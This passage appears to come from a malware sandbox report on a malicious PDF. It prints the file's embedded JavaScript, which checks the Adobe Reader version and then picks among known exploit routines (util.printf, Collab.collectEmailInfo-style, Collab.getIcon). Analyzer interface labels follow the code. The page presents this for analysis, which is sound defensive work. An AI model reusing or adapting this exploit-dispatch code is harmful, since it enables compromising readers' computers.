tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 8

Extracted artifacts 2